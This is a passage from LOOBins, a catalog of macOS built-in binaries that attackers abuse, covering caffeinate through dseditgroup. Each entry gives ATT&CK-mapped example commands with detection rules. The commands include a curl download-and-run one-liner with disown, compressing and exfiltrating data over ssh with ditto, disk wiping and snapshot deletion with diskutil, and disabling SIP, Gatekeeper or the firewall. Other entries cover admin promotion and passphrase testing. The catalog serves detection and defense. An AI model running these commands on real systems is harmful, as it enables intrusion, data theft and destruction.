# LOOBins > LOOBins (Living Off the Orchard: macOS Binaries) is a curated catalog of macOS built-in binaries that threat actors can abuse for post-exploitation, with example commands mapped to MITRE ATT&CK tactics, plus detection and reference links. Source: https://loobins.io/ --- ## caffeinate > Prevent the system from sleeping on behalf of a utility. caffeinate creates assertions to alter system sleep behavior. If no assertion flags are specified, caffeinate creates an assertion to prevent idle sleep. If a utility is specified, caffeinate creates the assertions on the utility's behalf, and those assertions will persist for the duration of the utility's execution. Otherwise, caffeinate creates the assertions directly, and those assertions will persist until caffeinate exits. - Page: https://loobins.io/binaries/caffeinate/ - Author: Ethan Nay - Created: 2023-07-12 - Tactics: Execution, Stealth ### Paths - `/usr/bin/caffeinate` ### Example Use Cases #### Fork a process Make caffeinate fork a process and hold an assertion that prevents idle sleep as long as that process is running ```bash caffeinate -i /tmp/evil ``` - Tactics: Execution, Stealth - Tags: bash, zsh #### Prevent a sleep Prevent a macOS from going to sleep for 4 hours (14400 seconds) ```bash caffeinate -u -t 14400 ``` - Tactics: Execution - Tags: bash, zsh ### Detections - No detections at time of publishing ### Resources - [macOS/binaries/caffeinate](https://macosbin.com/bin/caffeinate) - [caffeinate man page](https://ss64.com/osx/caffeinate.html) --- ## chflags > Changes file or directory flags The chflags utility modifies the file flags of the listed files as specified by the flags operand. - Page: https://loobins.io/binaries/chflags/ - Author: demonduck - Created: 2024-07-25 - Tactics: Stealth ### Paths - `/usr/bin/chflags` ### Example Use Cases #### Hide a file Add the hidden flag to a file or directory to prevent it from being visible in Finder and Terminal. ```bash chflags hidden ~/evil ``` - Tactics: Stealth - ATT&CK techniques: T1564.001 - Tags: finder #### Remove hidden flag Remove the hidden flag to a file or directory to make it visible in Finder and Terminal. ```bash chflags nohidden ~/evil ``` - Tactics: Stealth - Tags: finder ### Detections - [Sigma: Hidden Flag Set On File/Directory Via Chflags](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_chflags_hidden_flag.yml) ### Resources - [chflags man page](https://ss64.com/mac/chflags.html) - [macOS/binaries/chflags](https://macosbin.com/bin/chflags) - [How to hide files and folders](https://eclecticlight.co/2024/07/03/how-to-hide-files-and-folders/) --- ## codesign > Create, manipulate and verify code signatures. The codesign command is used to create, check, and display code signatures, as well as inquire into the dynamic status of signed code in the system. - Page: https://loobins.io/binaries/codesign/ - Author: Thijs Xhaflaire - Created: 2024-07-29 - Tactics: Defense Impairment ### Paths - `/usr/bin/codesign` ### Example Use Cases #### Ad-hoc codesigning an app bundle This command forcefully re-signs the MyApp.app application with an ad-hoc signature, applying the signature deeply to all nested code within the app ```bash codesign --force --deep -s - MyApp.app ``` - Tactics: Defense Impairment - ATT&CK techniques: T1553.002 - Tags: oneliner ### Detections - [Jamf Protect: Detect ad-hoc codesigning activity](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/adhoc_codesigning.yaml) ### Resources - [When Apple Admits macOS Malware Is A Problem – It’s Time To Take Notice](https://www.sentinelone.com/blog/when-apple-admits-macos-malware-is-a-problem-its-time-to-take-notice/) - [codesign man page](https://ss64.com/mac/codesign.html) --- ## csrutil > Configure or view system security policies. Used to enable/disable SIP, configure netboot and authenticated-root settings - Page: https://loobins.io/binaries/csrutil/ - Author: Megan Carney (https://infosec.exchange/@PwnieFan) - Created: 2023-05-14 - Tactics: Reconnaissance, Defense Impairment, Discovery ### Paths - `/usr/bin/csrutil` ### Example Use Cases #### Disable SIP disable SIP (System Integrity Protection) - requires booting into recovery mode ```bash csrutil disable ``` - Tactics: Defense Impairment - ATT&CK techniques: T1685 - Tags: users #### Disable authenticated-root When authenticated-root is disabled, booting is allowed from non-sealed system snapshots - requires booting into recovery mode ```bash csrutil authenticated-root disable ``` - Tactics: Defense Impairment - ATT&CK techniques: T1685 - Tags: users #### Add a netboot server Insert a new IPv4 address in the list of allowed NetBoot sources ```bash csrutil netboot add
``` - Tactics: Defense Impairment - Tags: configuration #### Map infrastructure List allowed NetBoot sources ```bash csrutil netboot list ``` - Tactics: Reconnaissance, Discovery - Tags: configuration #### Determine if SIP is enabled Determine if System Integrity Protection is enabled ```bash csrutil status ``` - Tactics: Discovery - ATT&CK techniques: T1082 ### Detections - [Sigma: System Integrity Protection (SIP) Disabled](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml) - [Sigma: System Integrity Protection (SIP) Enumeration](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml) ### Resources - [Discussion on how SIP interacts with bless and netboot](https://developer.apple.com/forums/thread/4002) - [MITRE ATT&CK T1518.001 Software Discovery: Security Software Discovery](https://attack.mitre.org/techniques/T1518/001/) - [The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSSBackdoor Planting in Safari, and LeveragesTwo Zero-day Exploits](https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf) --- ## defaults > Read, write, and delete user preference values. The defaults binary is normally used to interact with the user defaults system, a database of macOS used to manage system settings much like the Windows Registry. The database can be abused by threat actors to change settings in attempt to evade defenses or to gain persistence. - Page: https://loobins.io/binaries/defaults/ - Author: Brendan Chamberlain (@infosecB) - Created: 2023-05-24 - Tactics: Persistence, Defense Impairment, Discovery ### Paths - `/usr/bin/defaults` ### Example Use Cases #### Disable Gatekeeper's auto rearm functionality The following command can be used to disable Gatekeepers rearm functionality. This command requires root privileges. ```bash sudo defaults write /Library/Preferences/com.apple.security GKAutoRearm -bool NO ``` - Tactics: Defense Impairment - ATT&CK techniques: T1553.001 - Tags: gatekeeper #### Show mounted servers Show all mounted servers on the desktop. ```bash defaults read com.apple.finder "ShowMountedServersOnDesktop" ``` - Tactics: Discovery - ATT&CK techniques: T1135 #### Add a login item to the current user An attacker can use defaults to add a login hook in attempt to gain persistence. This command requires root privileges. ```bash sudo defaults write /Library/Preferences/com.apple.loginwindow LoginHook gain_persistence.sh ``` - Tactics: Persistence - ATT&CK techniques: T1037.002 #### Get Active Directory user info from Jamf Connect Retrieve Active Directory user info from Jamf Connect defaults configuration. ```bash defaults read com.jamf.connect.state ``` - Tactics: Discovery - ATT&CK techniques: T1087.002 #### Enable Firewall Enables macOS' default firewall. This command requires root privileges. ```bash sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 1 ``` - Tactics: Defense Impairment - Tags: firewall #### Disable Firewall Disables macOS' default firewall. This command requires root privileges. ```bash sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 0 ``` - Tactics: Defense Impairment - ATT&CK techniques: T1686 - Tags: firewall ### Detections - No detections at time of publishing ### Resources - [macOS defaults list: Uncomplete list of macOS defaults commands with demos](https://macos-defaults.com/) - [Insistence on Persistence](https://www.huntress.com/blog/insistence-on-persistence) --- ## diskutil > Enumerate, mount, erase and manipulate local disks, APFS containers and volumes. diskutil is the macOS command-line front end for local disk management. It lists physical and virtual disks, reports partition maps and APFS container layouts, mounts and unmounts volumes, manages APFS cryptographic users and FileVault state, lists and deletes APFS snapshots, and erases volumes, containers and whole disks. Its read-only verbs run without privileges and describe the entire storage topology of a host, including attached external and backup media and which volumes are encrypted. Its write verbs require ownership of the target disk, which in practice means root, and are irreversible - the man page itself warns that most of them present no confirmation prompt. That combination makes diskutil useful to an attacker at both ends of an intrusion - for storage reconnaissance early on, and for anti-forensics, recovery inhibition and destruction at the end. The utility also exposes mount options directly via -mountOptions, which diskarbitrationd passes verbatim to the filesystem mount program; this was the basis of CVE-2023-42931. Existing detection coverage for noowners mounts, such as Elastic's TCC-bypass rule and Jamf Protect's AUE_MOUNT telemetry correlation, matches on mount_apfs, the helper diskarbitrationd invokes to perform the mount - not on diskutil itself, since diskutil only requests the mount and exits. A rule written against mount_apfs will not fire on the diskutil invocation that triggered it, so detecting this technique from diskutil activity requires new coverage keyed on diskutil's own command-line arguments rather than the downstream mount_apfs process. - Page: https://loobins.io/binaries/diskutil/ - Author: Hare Sudhan (@cyb3rbuff) - Created: 2026-09-20 - Tactics: Privilege Escalation, Stealth, Defense Impairment, Credential Access, Discovery, Collection, Impact ### Paths - `/usr/sbin/diskutil` ### Example Use Cases #### List whole disks and partitions The list verb requires no privileges and returns every whole disk and partition, whether each disk is internal or external and physical or virtual, with their mount points. The -plist option makes the output machine-parsable, so it is usable directly from a dropper. This shows an attacker where storage lives and which disks are removable and worth watching for. ```bash diskutil list -plist external ``` - Tactics: Discovery - ATT&CK techniques: T1082 - Tags: disk, enumeration #### Enumerate APFS containers and volumes The apfs list verb enumerates every APFS container and its volumes, including their roles (the S/System, D/Data and T/Backup Time Machine roles) and mount points, without privileges. This maps the logical volume layout of the host and identifies the Data and backup volumes that hold user content. -plist makes the output machine-parsable. ```bash diskutil apfs list -plist ``` - Tactics: Discovery - ATT&CK techniques: T1082 - Tags: apfs, enumeration #### Read per-disk detail and FileVault encryption state The info verb reports the full detail of a disk or volume, and with -all covers every disk on the host, including whether each volume is FileVault-encrypted. This tells an attacker which volumes are protected before anything destructive or collection-oriented is attempted. It needs no privileges, and -plist makes the output machine-parsable. ```bash diskutil info -plist -all ``` - Tactics: Discovery - ATT&CK techniques: T1082 - Tags: disk, filevault #### Enumerate APFS cryptographic users to map FileVault-enabled accounts apfs listCryptoUsers shows every cryptographic user associated with an APFS volume by UUID and type, distinguishing the per-volume Disk user, personal and iCloud Recovery Keys, and Open Directory users - the latter's UUIDs match the local account GUIDs visible through dscl, so this maps which local accounts are FileVault-enabled. It is a read-only query that needs no privileges. ```bash diskutil apfs listCryptoUsers -plist ``` - Tactics: Discovery - ATT&CK techniques: T1087.001 - Tags: filevault, enumeration #### Test a candidate FileVault passphrase without changing lock state apfs unlockVolume with -verify tests a candidate passphrase for a chosen cryptographic user without changing the volume's locked or unlocked state, giving an on-host oracle for credentials harvested elsewhere. Passing -passphrase places the secret in the process argument list where it is visible to any process listing and to endpoint telemetry; -stdinpassphrase keeps it off argv. Ownership of the affected disk is required. ```bash echo '' | diskutil apfs unlockVolume -user -stdinpassphrase -verify ``` - Tactics: Credential Access - ATT&CK techniques: T1110.001 - Tags: filevault, passphrase #### Mount a volume with noowners to read or tamper with root-owned files (CVE-2023-42931) diskutil mount accepts arbitrary mount options through -mountOptions, which diskarbitrationd passes verbatim to the filesystem's mount program. The noowners option makes every object on the volume appear owned by the calling user, so root-owned files that are not protected by SIP become attacker-writable. Yann Gascuel of Alter Solutions showed that a local user - including a guest - could mount internal storage this way, overwrite a non-SIP-protected root-owned placeholder file with a setuid payload, then remount normally so that the file regained its root ownership and ran as root. Apple tracks this as CVE-2023-42931 in DiskArbitration and fixed it in macOS Monterey 12.7.2, Ventura 13.6.3 and Sonoma 14.2 by ignoring noowners when mounting internal storage; the option still applies to external media. Adding nobrowse and -mountPoint keeps the mount out of Finder and off /Volumes, which is why mounting a volume at a chosen path is also useful for reaching data without the usual UI indication. ```bash diskutil mount nobrowse -mountOptions noowners -mountPoint ``` - Tactics: Privilege Escalation, Defense Impairment, Collection - ATT&CK techniques: T1068 - Tags: noowners, cve-2023-42931 #### Overwrite free space to destroy deleted-file remnants secureErase freespace overwrites the unallocated space of a mounted volume, leaving existing files untouched while destroying the remnants of deleted files that forensic recovery depends on. Level selects the pattern - 0 single-pass zero fill, 1 single-pass random fill, 2 a seven-pass fill, 3 the 35-pass Gutmann algorithm, and 4 a three-pass fill. Ownership of the affected disk is required. OSX/Filecoder.E, the 2017 "Patcher" ransomware analysed by ESET, ran this after encrypting files to null the root partition's free space; the sample failed only because it hardcoded /usr/bin/diskutil, which does not exist - diskutil lives in /usr/sbin. Two honest constraints apply on current systems - the verb refuses APFS volumes, reporting that a byte-run erase "makes no sense due to its possibly-unbounded size" (-69489), so it is limited to HFS+, ExFAT and other fixed-size volumes rather than a modern boot volume, and on SSDs wear levelling and block sparing mean overwritten blocks may survive regardless. ```bash diskutil secureErase freespace 0 /Volumes/ ``` - Tactics: Stealth, Impact - ATT&CK techniques: T1485 - Tags: secureerase, anti-forensics #### Zero a disk to destroy filesystem identification zeroDisk writes zeros over a disk or partition, and its short parameter writes only enough zeros to destroy filesystem identification, which is fast enough to be practical against several disks in sequence. The force parameter attempts non-error-terminating forced unmounts and shared-mode writes, though the man page notes this is no guarantee against drivers holding a disk exclusively. Ownership of the affected disk is required. ```bash diskutil zeroDisk force short /dev/ ``` - Tactics: Impact - ATT&CK techniques: T1561.002 - Tags: wiper, disk #### Erase a whole disk or volume eraseDisk rewrites a whole disk's partition map and leaves a single empty volume, while eraseVolume and reformat destroy an individual volume's contents. Ownership of the affected disk is required, and the man page warns the operation presents no confirmation prompt. Locating Time Machine and external disks first with apfs list makes backup media the obvious target. ```bash diskutil eraseDisk JHFS+ Untitled ``` - Tactics: Impact - ATT&CK techniques: T1561.002 - Tags: wiper, disk #### Destroy an APFS container and all its volumes apfs deleteContainer destroys an entire APFS container and every volume in it, while apfs deleteVolume and apfs deleteVolumeGroup remove individual APFS volumes and their Preboot and Recovery entries. Ownership of the affected disk is required, and the deletion is irreversible. ```bash diskutil apfs deleteContainer ``` - Tactics: Impact - ATT&CK techniques: T1561.002 - Tags: wiper, apfs #### Enumerate APFS snapshots on a volume apfs listSnapshots enumerates every local APFS snapshot on a volume with its name, UUID and numeric XID. Time Machine writes these snapshots to the volumes it protects, and they are the fastest way to roll a machine back after file encryption or destructive tampering, so listing them is the reconnaissance step before removing them. It is a read-only query. ```bash diskutil apfs listSnapshots -plist ``` - Tactics: Discovery - ATT&CK techniques: T1082 - Tags: snapshot, enumeration #### Delete an APFS snapshot to inhibit system recovery apfs deleteSnapshot removes a chosen local APFS snapshot, permanently giving up the ability to restore the volume to that point. Deletion runs in the background unless -wait is given. Ownership of the affected disk is required. Removing snapshots leaves present-day file content untouched, so the volume looks normal until a restore is attempted. ```bash diskutil apfs deleteSnapshot -name -wait ``` - Tactics: Impact - ATT&CK techniques: T1490 - Tags: snapshot, inhibit-recovery ### Detections - Command-line detection: destructive verb invocation (secureErase, zeroDisk, eraseDisk, eraseVolume, reformat, apfs deleteVolume/deleteVolumeGroup/deleteContainer) - Command-line detection: mount with -mountOptions containing noowners or nosuid, or -mountPoint outside /Volumes - Command-line detection: apfs deleteSnapshot, correlated with tmutil deletelocalsnapshots - Command-line detection: apfs unlockVolume or changePassphrase with a passphrase value in argv ### Resources - [diskutil(8) manual page](https://keith.github.io/xcode-man-pages/diskutil.8.html) - [ESET: New crypto-ransomware hits macOS (OSX/Filecoder.E)](https://www.welivesecurity.com/2017/02/22/new-crypto-ransomware-hits-macos/) - [Objective-See: Mac Malware of 2017](https://objective-see.org/blog/blog_0x25.html) - [Apple: About the security content of macOS Sonoma 14.2 (CVE-2023-42931, DiskArbitration)](https://support.apple.com/en-us/120879) - [SOC Prime: CVE-2023-42931 Detection - macOS privilege escalation via diskutil mount options](https://socprime.com/blog/cve-2023-42931-detection-critical-macos-vulnerability-enabling-easy-privilege-escalation-and-root-access/) - [HACKHUNTING: Easy Root Privilege Escalation in Apple macOS Ventura, Sonoma, Monterey - CVE-2023-42931](https://hackhunting.wordpress.com/2024/04/05/easy-root-privilege-escalation-in-apple-macos-ventura-sonoma-monterey-cve-2023-42931/) - [The Eclectic Light Company: Disk Utility 18.0 (Mojave) - what the GUI secure erase options actually do](https://eclecticlight.co/2018/12/17/disk-utility-18-0-mojave-not-exactly-the-truth/) - [Apple Support Communities: secureErase freespace rejected on an APFS volume (-69489)](https://discussions.apple.com/thread/250795166) - [MITRE ATT&CK T1485 Data Destruction](https://attack.mitre.org/techniques/T1485/) - [MITRE ATT&CK T1490 Inhibit System Recovery](https://attack.mitre.org/techniques/T1490/) - [MITRE ATT&CK T1561.001 Disk Wipe: Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001/) - [MITRE ATT&CK T1006 Direct Volume Access](https://attack.mitre.org/techniques/T1006/) ### Acknowledgements - Yann Gascuel (Alter Solutions) - discovery of CVE-2023-42931, privilege escalation via diskutil mount options - ESET Research - analysis of OSX/Filecoder.E and its use of diskutil secureErase freespace - Patrick Wardle (Objective-See) - published the embedded diskutil secureErase freespace strings from the Filecoder.E sample --- ## disown > Prevents a process from being terminated when a shell session or terminal is closed. disown is a system utility that can be utilized to persist a shell process after a terminal has been closed or a shell session has been terminated. This is accomplished by preventing a SIGHUP from being sent to the running job, and removing the process from the shell jobs table. Unlike nohup which is used during process initialization, disown can be used to modify an existing process. - Page: https://loobins.io/binaries/disown/ - Author: Gabriel De Jesus (0xv1n) - Created: 2025-05-27 - Tactics: Persistence ### Paths - `shell built-in command (bash)` ### Example Use Cases #### Start a process and remove it from the jobs table. The following command downloads a remote binary, sets it to executable, executes the binary, disowns it from the shell it spawned from, and closes the terminal session. ```bash curl -O http://1.1.1.1/updated && chmod +x updated && ./updated & disown && pkill Terminal ``` - Tactics: Persistence - Tags: bash ### Detections - No detection content at time of writing ### Resources - [disown man page](https://linux.die.net/man/1/disown) - [bash man page](https://man7.org/linux/man-pages/man1/bash.1.html) - [Poseidon Stealer](https://www.esentire.com/blog/poseidon-stealer-uses-sora-ai-lure-to-infect-macos) --- ## ditto > Copy files and directories while preserving file attributes and permissions. ditto is a command line utility that is commonly used to copy files and directories while preserving file attributes and permissions. The tool can be used by malicious actors to collect and exfiltrate sensitive data, move laterally, and/or perform DLL hijacking or binary replacement attacks. - Page: https://loobins.io/binaries/ditto/ - Author: Brendan Chamberlain (@infosecB) - Created: 2023-05-04 - Tactics: Persistence, Stealth, Lateral Movement, Collection, Exfiltration ### Paths - `/usr/bin/ditto` ### Example Use Cases #### Copy and compress sensitive data locally The following command gathers and compresses (-c) files from the specified folder and writes them to a zip (-k) file. ```bash ditto -c -k --sequesterRsrc --keepParent /home/user/sensitive-files /tmp/l00t.zip ``` - Tactics: Collection, Exfiltration - ATT&CK techniques: T1560.001, T1074.001 - Tags: files, compress, recursive #### Remove extended attributes from a file ditto can be used to bypass Gatekeeper by removing the "com.apple.quarantine" extended attribute. ```bash ditto -c -k unsigned.app app.zip ditto -x -k app.zip unsigned.app 2>/dev/null ``` - Tactics: Collection, Exfiltration - ATT&CK techniques: T1553.001 - Tags: files, compress, recursive #### Copy, compress, and transfer sensitive data to a remote macOS host The following command gathers and compresses (-c) files from the specified folder and writes them to a zip (-k) file. ```bash ditto -c --norsrc /home/user/sensitive-files - | ssh remote_host ditto -x --norsrc - /home/user/l00t ``` - Tactics: Stealth, Lateral Movement, Collection, Exfiltration - ATT&CK techniques: T1560.001, T1021.004 - Tags: files #### DLL hijacking Replace a legitimate library with a malicious one while maintaining the original file permissions and attributes. ```bash ditto -V /path/to/malicious-library/malicious_library.dylib /path/to/target-library/original_library.dylib ``` - Tactics: Persistence - ATT&CK techniques: T1574.004 - Tags: files ### Detections - No detection content at time of writing ### Resources - [ditto man page](https://ss64.com/osx/ditto.html) - [Gatekeeper’s Achilles heel: Unearthing a macOS vulnerability](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) - [Jamf Threat Labs identifies Safari vulnerability allowing for Gatekeeper bypass](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) --- ## dns-sd > Discover local network services using the DNS-Based Service Discovery (SD) protocol. dns-sd can be used to interact with the Multicast DNS (mDNS) and DNS Service Discovery (DNS-SD) protocols. The tool is useful for administrators but can also be abused by malicious actors to discover local network services. - Page: https://loobins.io/binaries/dns-sd/ - Author: Brendan Chamberlain (@infosecB) - Created: 2023-05-19 - Tactics: Discovery ### Paths - `/usr/bin/dns-sd` ### Example Use Cases #### Discover SSH hosts Hosts serving SSH can be discovered using the _ssh._tcp service string. ```bash dns-sd -B _ssh._tcp ``` - Tactics: Discovery - ATT&CK techniques: T1046 - Tags: network #### Discover web hosts Hosts serving web services can be discovered using the _http._tcp service string. ```bash dns-sd -B _http._tcp ``` - Tactics: Discovery - ATT&CK techniques: T1046 - Tags: network #### Discover hosts serving remote screen sharing Hosts serving remote screen sharing can be discovered using the _rfb._tcp service string. ```bash dns-sd -B _rfb._tcp ``` - Tactics: Discovery - ATT&CK techniques: T1046 - Tags: network #### Discover hosts serving SMB Hosts serving SMB can be discovered using the _smb._tcp service string. ```bash dns-sd -B _smb._tcp ``` - Tactics: Discovery - ATT&CK techniques: T1046 - Tags: network ### Detections - [Jamf Protect: Detect dns-sd discovery activity](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/dns_service_discovery) ### Resources - [What does APT Activity Look Like on macOS?](https://themittenmac.com/what-does-apt-activity-look-like-on-macos) - [mDNS / Bonjour Bible - List of Common Service Strings for various vendors](https://jonathanmumm.com/tech-it/mdns-bonjour-bible-common-service-strings-for-various-vendors/) ### Acknowledgements - Chris Ross, Cedric Owens: Farming The Apple Orchards: Living Off The Land Techniques --- ## dscacheutil > gather information, statistics and initiate queries to the Directory Service cache. dscacheutil does various operations against the Directory Service cache including gathering statistics, initiating lookups, inspection, cache flush, etc. This tool replaces most of the functionality of the lookupd tool previously available in the OS. - Page: https://loobins.io/binaries/dscacheutil/ - Author: Ethan Nay - Created: 2023-08-23 - Tactics: Discovery ### Paths - `/usr/bin/dscacheutil` ### Example Use Cases #### Lookup a user List the user information ```bash dscacheutil -q user -a name ``` - Tactics: Discovery - ATT&CK techniques: T1087.001 - Tags: bash, zsh #### Lookup all users List all user information ```bash dscacheutil -q user ``` - Tactics: Discovery - ATT&CK techniques: T1087.001 - Tags: bash, zsh ### Detections - No detections at time of publishing ### Resources - [macOS/binaries/dscacheutil](https://macosbin.com/bin/dscacheutil) - [dscacheutil man page](https://ss64.com/osx/dscacheutil.html) --- ## dscl > Interact with Directory Services. An extensive tool for communicating with the Directory Services, useful for Discovery. - Page: https://loobins.io/binaries/dscl/ - Author: Jonathan Bar Or (@yo_yo_yo_jbo) - Created: 2023-04-25 - Tactics: Persistence, Discovery ### Paths - `/usr/bin/dscl` ### Example Use Cases #### Local user enumeration Enumerate all local users. ```bash dscl . -list /Users dscl . list /Users dscl . ls /Users ``` - Tactics: Discovery - ATT&CK techniques: T1087.001 - Tags: users #### Active Directory user enumeration Enumerate all Active Directory users. ```bash dscl "/Active Directory/TEST/All Domains" -list /Users dscl "/Active Directory/TEST/All Domains" list /Users dscl "/Active Directory/TEST/All Domains" ls /Users ``` - Tactics: Discovery - ATT&CK techniques: T1087.002 - Tags: network, users #### Local user information gathering Gain useful local user information such as when their password was last set, their keyboard layout, their avatar, their home directory, UID and default shell. ```bash dscl . -read /Users/$USERNAME dscl . read /Users/$USERNAME dscl . cat /Users/$USERNAME ``` - Tactics: Discovery - ATT&CK techniques: T1087.001 - Tags: users, configuration #### Active Directory user information gathering Gain useful Active Directory user information such as when their password was last set, their keyboard layout, their avatar, their home directory, UID and default shell. ```bash dscl "/Active Directory/TEST/All Domains" -read /Users/$USERNAME dscl "/Active Directory/TEST/All Domains" read /Users/$USERNAME dscl "/Active Directory/TEST/All Domains" cat /Users/$USERNAME ``` - Tactics: Discovery - ATT&CK techniques: T1087.002 - Tags: network, users, configuration #### Local group enumeration Enumerate all local groups. ```bash dscl . -list /Groups dscl . list /Groups dscl . ls /Groups ``` - Tactics: Discovery - ATT&CK techniques: T1069.001 - Tags: groups #### Active Directory group enumeration Enumerate all Active Directory groups. ```bash dscl "/Active Directory/TEST/All Domains" -list /Groups dscl "/Active Directory/TEST/All Domains" list /Groups dscl "/Active Directory/TEST/All Domains" ls /Groups ``` - Tactics: Discovery - ATT&CK techniques: T1069.002 - Tags: network, groups #### Local group information gathering Gain useful local group information such as which users belong to that group, SMB SIDs and group ID. Especially useful for the "admin" group. ```bash dscl . -read /Groups/$GROUPNAME dscl . read /Groups/$GROUPNAME dscl . cat /Groups/$GROUPNAME ``` - Tactics: Discovery - ATT&CK techniques: T1069.001 - Tags: groups, configuration #### Active Directory group information gathering Gain useful Active Directory group information such as which users belong to that group, SMB SIDs and group ID. Especially useful for the "admin" group. ```bash dscl "/Active Directory/TEST/All Domains" -read /Groups/$GROUPNAME dscl "/Active Directory/TEST/All Domains" read /Groups/$GROUPNAME dscl "/Active Directory/TEST/All Domains" cat /Groups/$GROUPNAME ``` - Tactics: Discovery - ATT&CK techniques: T1069.002 - Tags: network, groups, configuration #### Computer enumeration Enumerate all computers in an Active Directory. ```bash dscl "/Active Directory/TEST/All Domains" -list /Computers dscl "/Active Directory/TEST/All Domains" list /Computers dscl "/Active Directory/TEST/All Domains" ls /Computers ``` - Tactics: Discovery - ATT&CK techniques: T1018 - Tags: network, shares #### Share enumeration Enumerate all shares. ```bash dscl . -list /SharePoints dscl . list /SharePoints dscl . ls /SharePoints ``` - Tactics: Discovery - ATT&CK techniques: T1135 - Tags: network, shares #### Password policy discovery Gain password policy information ```bash dscl . -read /Config/shadowhash dscl . read /Config/shadowhash dscl . cat /Config/shadowhash ``` - Tactics: Discovery - ATT&CK techniques: T1201 - Tags: password, policy #### Change a user password Change an existing user's password. ```bash dscl . passwd /Users/$USERNAME oldPassword newPassword ``` - Tactics: Persistence - ATT&CK techniques: T1098 - Tags: password #### Local account creation Create a local account ```bash dscl -create ``` - Tactics: Persistence - ATT&CK techniques: T1136.001 ### Detections - [Jamf Protect: Detect user account creation with dscl](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl) ### Resources - [MacOS Red Teaming - HackTricks](https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming) - [MITRE ATT&CK T1136.001 Create Account: Local Account](https://attack.mitre.org/techniques/T1136/001/) --- ## dsconfigad > retrieves/changes configuration for Directory Services Active Directory Plugin. This tool allows command-line configuration of the Active Directory Plug-in. dsconfigad has the same functionality for configuring the Active Directory plugin as the Directory Utility application. It requires "admin" privileges to the local workstation and to the Directory to make changes. - Page: https://loobins.io/binaries/dsconfigad/ - Author: Ethan Nay - Created: 2023-08-23 - Tactics: Discovery ### Paths - `/usr/sbin/dsconfigad` ### Example Use Cases #### Retrieves the Active Directory configuration Retrieves the Active Directory configuration ```bash dsconfigad -show ``` - Tactics: Discovery - ATT&CK techniques: T1082 - Tags: bash, zsh #### Retrieves the Active Directory name Retrieves the Active Directory name ```bash dsconfigad -show |awk '/Active Directory Domain/{print $NF}' ``` - Tactics: Discovery - ATT&CK techniques: T1082 - Tags: bash, zsh ### Detections - No detections at time of publishing ### Resources - [macOS/binaries/dsconfigad](https://macosbin.com/bin/dsconfigad) - [dsconfigad man page](https://www.unix.com/man-page/osx/8/dsconfigad/) --- ## dseditgroup > Read, create, delete and edit Directory Services group records, including the local admin group. dseditgroup is Apple's supported command-line tool for manipulating a single named group record on the local Directory Services node or a bound network node such as Active Directory or LDAP. It grants admin rights, populates service access groups and audits membership. An attacker with code execution can run the same operations: a single "-o edit -a" invocation converts a controlled standard account into a local administrator, and the macOS service access control groups (com.apple.access_ssh, com.apple.access_screensharing) gating Remote Login and Screen Sharing are ordinary group records dseditgroup can add members to or delete. It is Apple-signed, is the documented way to change group membership, and runs constantly in MDM workflows. - Page: https://loobins.io/binaries/dseditgroup/ - Author: Hare Sudhan (@cyb3rbuff) - Created: 2026-09-20 - Tactics: Persistence, Privilege Escalation, Defense Impairment, Discovery, Lateral Movement ### Paths - `/usr/sbin/dseditgroup` ### Example Use Cases #### Promote a local account to administrator Adding a user record to the local "admin" group grants administrator rights, which on macOS include authenticating to authorization prompts, using sudo and installing software. It survives reboots because it changes the local directory database, not a running process. Modifying the admin group requires root, so the command runs under sudo or an already-root context. ```bash dseditgroup -o edit -a -t user admin ``` - Tactics: Persistence, Privilege Escalation - ATT&CK techniques: T1098.007 - Tags: groups #### Edit a group using explicit credentials on a local or network directory node The -n parameter selects the Directory Services node (the local node "." or a bound LDAP/Active Directory server) and -u/-P supply admin credentials to authenticate against it. With harvested credentials an attacker can add accounts to groups on the local node without a root shell, or on a bound directory server to propagate changes to every Mac bound to that node. The -P password appears in the process argument list. ```bash dseditgroup -o edit -n /LDAPv3/ -u -P -a -t user ``` - Tactics: Privilege Escalation, Lateral Movement - ATT&CK techniques: T1098.007 - Tags: ldap #### Grant remote service access through a SACL group When Remote Login or Screen Sharing is restricted to specific users, macOS enforces it through the com.apple.access_ssh and com.apple.access_screensharing groups. Adding a controlled account to either group opens a remote channel (SSH or GUI) without dropping a payload. The account still needs valid credentials or an authorized key. Requires root. ```bash dseditgroup -o edit -a -t user com.apple.access_ssh ``` - Tactics: Persistence, Lateral Movement - ATT&CK techniques: T1098.007 - Tags: ssh #### Remove a service access group so the service accepts all users Deleting a com.apple.access_* group record removes the restriction and the service reverts to allowing all users, widening remote access without adding a visible member to an allow list. The -q flag suppresses the delete confirmation, making the operation usable from a non-interactive shell. Requires root. ```bash dseditgroup -o delete -q com.apple.access_screensharing ``` - Tactics: Defense Impairment, Lateral Movement - ATT&CK techniques: T1021 #### Enumerate group membership to identify privileged accounts The read and checkmember operations consult the authentication search policy and do not require root. "read" lists all members of a group (admin, com.apple.access_ssh, etc.), and "checkmember -m" tests whether a specific user belongs to it. Either can map who holds administrator rights or service access without writing to the directory. ```bash dseditgroup -o read admin ``` - Tactics: Discovery - ATT&CK techniques: T1069.001 - Tags: groups, enumeration ### Detections - [Sigma: User Added To Admin Group Via DseditGroup](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_dseditgroup_add_to_admin_group.yml) - [Elastic: Potential Admin Group Account Addition (dscl or dseditgroup adding to the admin group, excluding known MDM agents)](https://github.com/elastic/detection-rules/blob/main/rules/macos/privilege_escalation_local_user_added_to_admin.toml) - [Jamf Protect: User Privilege Escalation by dseditgroup and Self Service](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_privilege_escalation_by_dseditgroup_and_jamf_self_service.yaml) ### Resources - [MITRE ATT&CK T1098.007: 